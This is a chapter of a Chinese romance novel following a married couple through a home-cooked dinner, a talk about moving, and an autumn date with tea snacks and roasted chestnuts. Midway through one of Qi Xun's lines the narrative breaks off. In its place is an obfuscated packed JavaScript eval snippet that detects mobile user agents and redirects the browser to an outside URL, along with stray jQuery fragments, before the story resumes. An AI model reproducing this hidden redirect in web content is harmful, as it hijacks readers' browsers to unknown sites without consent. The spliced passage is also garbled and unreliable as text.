然而她的困惑纠结，却在看到齐寻的那一刻，又重新卷土重来。
黎叙闻下班走到家楼下时，齐寻就抱着双臂靠在他那辆牧马人旁，低头安静地思索着什么。
此时天边正喷薄着桃粉色的晚霞，光线照在擦得锃亮的车上，反射出一片厚润的亮色，齐寻站在这撮亮色里，侧颜锋利，眉目却柔软，在轻盈的天光云影中，竟显得怡然。
黎叙闻停在他不远处，无端想起之前有一次在他车上睡着了，醒来发现齐寻坐在驾驶座上，神情空茫，像是在等一个永远不会来的人。
那种表情他从前常有，可自从他们日日在一起，它好像已经彻底从他脸上消失了。
黎叙闻一颗心忽然被两面夹击——她既不想再看到他那个样子，又不想让他像现在这样，她不在的时候都没办法回家。
这个无解的问题飘悠悠下落，齐寻似乎被这下落的声音惊动，抬头看见她，笑着招呼：“回来了？站着干什么？”
黎叙闻蓦地回神：“没，饿了么，去哪儿吃？”
齐寻拉开副驾的门，从里面拎出一大袋东西，提起来冲她晃：“回家，给你做。”
一打开家门，人还没进去，小狗就先迎了出来。
小土狗彻底康复了，身上东一块西一块的秃毛渐渐长了出来，回来吃上了好东西，毛色也愈发柔软发亮，黑眼睛水水地汪成一片，小尾巴更是摇得起劲极了。
“乖乖，想妈妈了么？”黎叙闻蹲下挠它下巴：“一会儿带你出去玩。”
“早上我遛过了。”齐寻把袋子放地上，也凑过去摸它脊背：“我们可爱特别能跑，对不对？”
“什么时候遛的？”黎叙闻一边应付扑上来的小狗，一边问：“我怎么不知道？”
“你睡得像小猪。”齐寻揉过小狗的手又来揉她：“你跟可爱玩着，我做饭。”
黎叙闻：“……它叫乖乖！齐乖乖！”
厨房的方向传来带着笑意的反驳：“可爱，黎可爱。”
原本根据黎叙闻的刻板印象，一个住毛坯房的男人，会做什么能入口的饭菜来，结果齐寻一朝雪耻，四十分钟内就给她端上来四菜一粥，品相味道竟还都不赖。
要不是她亲眼看见他进了那个被她一碗米线烧黑过的厨房，她都要以为齐寻事先点好外卖了。
“这不对吧，”黎叙闻边嚼水芹边毫无诚意地说：“应该我给你做饭呀，以前我妈都是掐着我爸下班的点做好饭。”
她用筷子点了点盘子边：“咸了。”
齐寻笑了声：“我家是我爸做饭，男人掌勺天经地义，嗯下次盐少放点。”
嫩豆腐入口即化，黎叙闻唇齿间沾着豆香，忽然笑了。
自从她跟着钟郁青出国，对夫妻和家庭的印象就逐渐淡薄，好似这两个词与她无关。
齐寻更是，这么多年就靠着那点回忆，画面里的甜味都得省着咂摸，不然一不留神就褪了色。
他们两个像是没长大的小孩，比着自己印象里那点模糊的名为幸福的影子，在红尘里过家家似地，扮演一对恩爱的夫妻。
她喝了口粥，问：“你想搬家吗？”
“搬家？”齐寻不以为意地给她剥了只虾：“想换地方住了？”
黎叙闻咬下尾巴尖尖，喂给小狗：“嗯，想住毛坯房。”
齐寻哂笑：“别开玩笑了，你还得上班，天天来回一百多公里。”
一百多公里？
黎叙闻奇怪他怎么知道得这么清楚，转念一想，他的工作室就离毛坯房不远，他每天就是这样通勤的。
她放下筷子，不吃了。
“你不要这样，”她声音硬起来：“什么都迁就我，什么都由着我来，之前明明恨不得住在工作室的人，现在天天不到四点就得下班，回到家还进不来，得等我回来才能上来，齐寻，这就是你想过的日子吗？”
齐寻却不接她的吵吵，仍低头吃菜：“嗯，不行吗，谁规定我不能想过这种日子？”
黎叙闻抽掉他的筷子拍在桌上：“别吃了！”
结果齐寻磕绊都没打，顺手捧起碗喝粥。
黎叙闻：“……”
还想说点什么，张口就被气笑了。
始作俑者擦擦嘴对她道：“你是觉得我没事业心了不上进，还是觉得我不工作养不起你？”
黎叙闻瞪起眼睛：“谁要你养？”
小狗还不了解她的脾性，以为她真生气了，这时候呜呜地蹭她的裤脚，拿湿漉漉的鼻头拱她，想让她抱抱自己，抱抱就不生气了。
“你是不是忘了，我录了你的声音？家里的厨房，地灯，都是我趁你不在收拾的。”齐寻认真地盯着她的眼睛：“怎么会觉得我一个人不敢上来，不敢进家门？”
黎叙闻眨眨眼，猛然记起了这一出：“那你为什么……”
“因为想跟你一起回家。”他说。
他用很平静、很理所应当的口吻说出这样鲜少说出口的话，还是在这么平常的时刻，以至于他话音落下时，黎叙闻都愣住了。
“至于工作，新接的活儿还在项目前期，声音指导要连钮都自己抠，还叫什么指导，”齐寻轻咳了声，欲盖弥彰似地又捻了只虾：“还挺新鲜，下次还去这家买。”
黎叙闻嘴里被塞了虾肉，呆呆地望着他。
“再说你老公也不是谁都请得起的，没那么忙。”齐寻把桌上的虾壳收进骨碟：“这东西说是补钙，给我们可爱做狗饭。”
“……它叫乖乖！”
“可爱。”
黎叙闻赌气把虾嚼得咯吱响：“你今天……怎么……”
“不跟你拧着来，不习惯了是么。”齐寻笑了声：“那换你说。”
“说什么？”
“说你遇到什么事了，为什么突然要搬家。”
为什么呢。
无非是想趁着她人还在，在他那里多存一些感情，到时候万一她去了战地，跟他几个月见不到面，看在她也迁就过他的份上，两个人不至于无以为继。
可黎叙闻张了张嘴，却依然没勇气问他，到时候她做了战地记者，他要怎么办。
她很怕真的从齐寻嘴里听到“我跟着你去”“我什么都不要了，就守着你”这种话。
搭上另一个人人生的幸福太沉重，她要不起。
“没有，”她摇头：“就是觉得……这样很……”
这种欲言又止，在齐寻眉心悄悄掀起了一丝皱褶。
他们相亲时黎叙闻就说过，任何关系的本质都是交换，从别人身上得到点什么，就一定要还回去，不止这样，有时候还要十倍百倍地偿还。
即便两个人已经成了真夫妻，她还是放不下她那套账。
可黎叙闻咽了咽，道：“就是觉得一直住在这有点无聊。”
齐寻：“……”
这展开，他确实没想到。
他低头狠狠掐了下眉心：“所以你从小做游戏都是搬家玩……无聊想玩什么？”
黎叙闻咬着筷子头想了一阵，眼睛忽然亮了。
“人家谈恋爱都要去吃漂亮饭，”她舔了下嘴唇：“咱们也去吧！”
……
齐寻搜了半个多小时，才从满屏精心布局摆盘打光的图片里，理解了什么叫“漂亮饭”。
看着图上那一叠大大的盘子，小咪咪的食物，他开始担心吃不饱了。
于是第二天早餐，他整了两套M记当家套餐摆在了餐桌上。
黎叙闻起来看到这一桌子，人都懵了：“你昨晚没吃饱？”
齐寻把薯条倒出来，笃定道：“有备无患。”
没享用过“下午茶”的男人是这样的。
京屿的深秋并不温柔，赶上这样天高云淡的好天去约会，就像路过买张彩票中了奖，可遇不可求。
他们坐进耘舍那个清雅的小院里时，午后阳光正浓，沉甸甸落在那片金黄的银杏树上，压得扇叶摇摇欲坠，风稍一吹，便乘着叶片小舟纷纷扬扬跌落，落在古色质朴的木桌上。
院子的对角，有身着旗袍的表演者轻抚竖琴，仙音如水般流泻。
黎叙闻以手支颐坐在桌边，仰头深吸了一口气，秋日里干燥清爽的气息夹杂着银杏果的独特味道，丝丝缕缕沁入鼻腔。
她太投入放松，全然不知对面的齐寻举起手机，静悄悄捕捉她猫儿似的模样。
“你知道银杏为什么叫银杏吗？”黎叙闻忽然问。
“为什么？”
她抿唇而笑，拿了只玻璃杯来倒了水，俯身捡起一枚银杏果，捻着梗，没入水中。
那其貌不扬的果子一沾水，表面竟立刻覆了层银亮的金属色泽，漂亮得几乎夺目，与它灰扑扑的本来模样毫不相关。
黎叙闻看着水里的果子，莫名想到了琳琳。
她看着果子，而齐寻在看她。
那双顾盼生情的眼睛微垂，注视着被风吹皱的水面，里面映着的，是许多的绚烂和柔情。
这是他的爱人。
从前该谈恋爱的年纪，全被他奢侈地用来等一个人，总听别人说，真爱也就那么回事，再美的女人只要到手，也就没什么稀奇了。
时至今日他才知道，那是再无耻不过的假话。
就是这么一个寻常到近乎无趣的场景，她偏偏可爱得千金不换。
“你小时候不玩这个吗？”黎叙闻扔掉果子，笑着问他：“那时候都做什么了？”
“那时候啊，淘得很，漫山遍野地跑，”齐寻仍看着她：“小时候就摘野果，丢沙包，嚯嚯家门口种的一排虞美人，长大点就逃课打游戏，跟同学开黑，再大些忽然迷上了声音，变着花样闹我爸妈给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373445|190916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我买碟买磁带……
黎叙闻打趣他：“你肯定是后进生，考试要抄我卷子那种。”
齐寻忍俊不禁：“那给抄吗？”
“看你出不出得起价，”黎叙闻眼睛被满地银杏叶点得金灿灿的：“叫声姐姐给抄选择，陪我回家给抄填空，要是认我做老大，压轴题都给你抄。”
一个欺男霸女的大姐头形象简直跃然纸上。
齐寻好像看见一个小小的姑娘，头昂得高高的，仗着自己长得漂亮成绩好，招人喜欢又有口才，整天颐指气使替人出头，心就软成了泡过牛奶的饼干。
他握住她虚搭在桌边的手，轻轻摩挲：“那要是追你呢？”
“哦，坏孩子早恋呀？”黎叙闻轻挠他掌心，低头浅笑：“那……那咱们可以换卷子。”
不得了哇，这可是下了血本了。
齐寻板起脸：“你给别人换过吗？”
黎叙闻笑得不行：“那时候做梦都想谈恋爱呢，但他们都好蠢，拖着鼻涕泡像个大傻子！”
说话间有侍者端了只木质篮子，里面云雾缭绕，轻薄白烟簇着几碟精致茶点?子，加上一壶清香的花茶，摆在两人之间。
侍者给斟了茶，安静退开，黎叙闻拿银质小勺指了指那叠金砖似的豌豆黄：“他家我最爱这道，不干不水，甜度适中，试试？”
齐寻对这种东西向来敬谢不敏——冰箱里塞满速冻食品的人，味觉基本上已退化至仅有酸甜苦辣，这种吃来开心的东西，离他已经太遥远了。
不过毕竟是闻闻爱的，虽然兴趣不大，他还是稍微尝了一角。
一股带着豆香的清甜慢慢在舌尖漾开，沾了干冰的微凉触感，跟口中温度一碰，几乎瞬间就化了，细腻的金沙流进口腔中，留不住，却有回甘。
齐寻轻轻扬了扬眉。
黎叙闻托着腮看他的表情，满意非常：“好吃吧？”
“嗯，第一次吃，味道很神奇。”
“第一次吃？”黎叙闻讶异：“你大学就在京屿上的吧，八年了，没吃过豌豆黄？”
“没。”齐寻倒坦然：“上学的时候吃食堂，跟组就吃盒饭，在工作室就叫外卖，这里面哪个场景能出现豌豆黄？”
黎叙闻垂着嘴角看着他，像看着家里没吃过好东西的小狗：“那今天你主吃，我副吃，咱们都尝一遍。”
两人都拿起勺，这时候，震区救援的后遗症就显现出来了。
救援中的时间太珍贵，能抽出时间吃饭那都是上天眷顾，所以凡是在救援队呆过的人，吃饭速度都不能说是风卷残云，那得叫摧枯拉朽。
两人在家面对面吃饭时还不觉得，但一出来，就露馅了。
侍者算好了他们尝过一遍茶点的时间，去而复返，来给他们讲解每道点心的故事和讲究，结果一过来，只看到一只冒着青烟的空荡荡的篮子。
饶是侍者小姐见多识广，也非常微妙地停顿了一下。
因为里面连半个渣子都没有了。
开玩笑，在救援队浪费粮食，那可是要遭天谴的。
黎叙闻茫然地看着她：“怎么？”
“新规定，要讲解菜式的……”侍者小姐摸了摸耳垂：“要不，我对着盘子给您讲讲？”
为了不让客人尴尬，她信念感极强：“这些盘子我都认得，真的。”
黎叙闻木然地跟齐寻对视了几秒，两个人实在绷不住，大笑。
“行了，不为难你，”齐寻一挥手：“再上一份。”
……
深秋的天黑得太早，不到五点光景，秋意就显现出了萧瑟的本色。
齐寻揽着黎叙闻肩膀，尽量靠她近些给她取暖，可黎叙闻东瞧西看，一不留神就从他怀抱里溜走了。
她循着街边的甜香气息过去，果然在不远处捉到了一套炒锅和炉子。
“一斤糖炒栗子，一个烤红薯！”
她抬头揶揄慢慢走过来的齐寻：“这你总吃过？”
齐寻伸手捏她脸：“我是拖着鼻涕泡的傻子？”
他极有眼色地拎了板栗纸袋，黎叙闻小心翼翼接过红薯，烫得倒手，鼓起腮帮子吹了好久，才握着两头，慢慢掰开。
内里嫩黄的薯肉蒸在慢悠悠盘旋而上的热气里，在路灯下甜得流蜜。
她递了大的一半到齐寻唇边，齐寻低下头就着她的手咬了一口。
甜蜜温柔的味道瞬间充斥了他的感官，连同眼前的人，一起甜到了他心里。
他捧着闻闻的手，透过氤氲热气深深注视她。
他说不出的话，闻闻却替他说了。
“齐寻，我觉得活着很好，特别特别好。”
“你没尝过、没玩过的那些好东西，我带你去试，咱们不要白来这世界一遭。”
“我们要连同过去错过的，一起补回来。”